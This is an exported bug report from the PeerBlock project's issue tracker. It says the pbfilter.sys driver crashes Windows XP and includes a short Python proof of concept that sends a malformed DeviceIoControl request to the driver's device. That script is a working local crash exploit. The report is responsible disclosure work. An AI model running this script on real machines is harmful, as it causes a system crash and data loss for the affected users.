search

TerrificInToronto / peerblock

Automatically exported from code.google.com/p/peerblock
Other
0 stars 0 forks source link

pbfiltes.sys BSOD #421

Open GoogleCodeExporter opened 8 years ago

GoogleCodeExporter commented 8 years ago 
----------------------------------------------------------------------
 SYSTEM INFO:
----------------------------------------------------------------------
 Microsoft Windows XP Professional
 5.1.2600 Service Pack 3 Build 2600
 X86-based PC
----------------------------------------------------------------------
 FILE INFO:
----------------------------------------------------------------------
 File:             C:\Program Files\PeerBlock\peerblock.exe
 InternalName:     PeerBlock
 OriginalFilename: peerblock.exe
 FileVersion:      1, 1, 0, 517
 FileDescription:  PeerBlock
 Product:          PeerBlock
 ProductVersion:   1, 1, 0, 517
 Debug:            False
 Patched:          False
 PreRelease:       False
 PrivateBuild:     False
 SpecialBuild:     False
 Language:         Inglese (Stati Uniti)
 MD5 hash:         d90ccd7e9d2843e9f26b4323b3a13f46
----------------------------------------------------------------------
 File:             C:\Program Files\PeerBlock\pbfilter.sys
 InternalName:     
 OriginalFilename: 
 FileVersion:      
 FileDescription:  
 Product:          
 ProductVersion:   
 Debug:            False
 Patched:          False
 PreRelease:       False
 PrivateBuild:     False
 SpecialBuild:     False
 Language:         
 MD5 hash:         2f6e885c432927a186c2e352c8a1cbf4
----------------------------------------------------------------------

The pbfilter.sys will cause a BSOD. Try the following python script:

from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2

    SYM_NAME   = "\\\\.\\pbfilter"
    dwReturn      = c_ulong()
    out_buff      = "A" * 4000
    in_buff       = ("")

    handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
    dev_ioct = kernel32.DeviceIoControl(handle, 0xabab, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

Regards

Original issue reported on code.google.com by shinnaib...@hotmail.com on 9 Feb 2012 at 9:08

Attachments: